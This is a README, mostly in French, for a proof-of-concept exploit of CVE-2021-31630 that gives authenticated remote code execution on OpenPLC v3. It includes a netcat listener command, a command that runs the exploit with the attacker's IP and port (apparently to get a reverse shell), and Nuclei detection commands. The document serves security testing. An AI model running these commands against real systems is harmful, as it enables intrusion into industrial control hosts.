
Python 3.13+ proof-of-concept exploit for CVE-2021-31630, enabling authenticated remote code execution on OpenPLC v3 via malicious hardware layer upload. Includes Nuclei detection templates for default credentials and vulnerability checks.
Ceci est un proof-of-concept moderne et compatible Python 3.13+ pour CVE-2021-31630, une vulnérabilité dans OpenPLC v3 qui permet à un utilisateur authentifié de téléverser une couche matérielle personnalisée contenant du code malveillant, conduisant à une exécution de code à distance (RCE) sur l'hôte.
Découverte originale de la vulnérabilité et avis par Fellipe Oliveira. Cette réimplémentation et modernisation utilise httpx, des outils en ligne de commande, la journalisation et des techniques de détection plus sûres.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
Options facultatives :
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
Le deuxième modèle se connecte et tente un téléversement de charge utile inoffensive + compilation pour confirmer la vulnérabilité probable — sans déclencher une exécution de code réelle.
Ce code est destiné uniquement à des tests de sécurité éducatifs et autorisés. Ne pas l'utiliser sans l'autorisation explicite du propriétaire du système.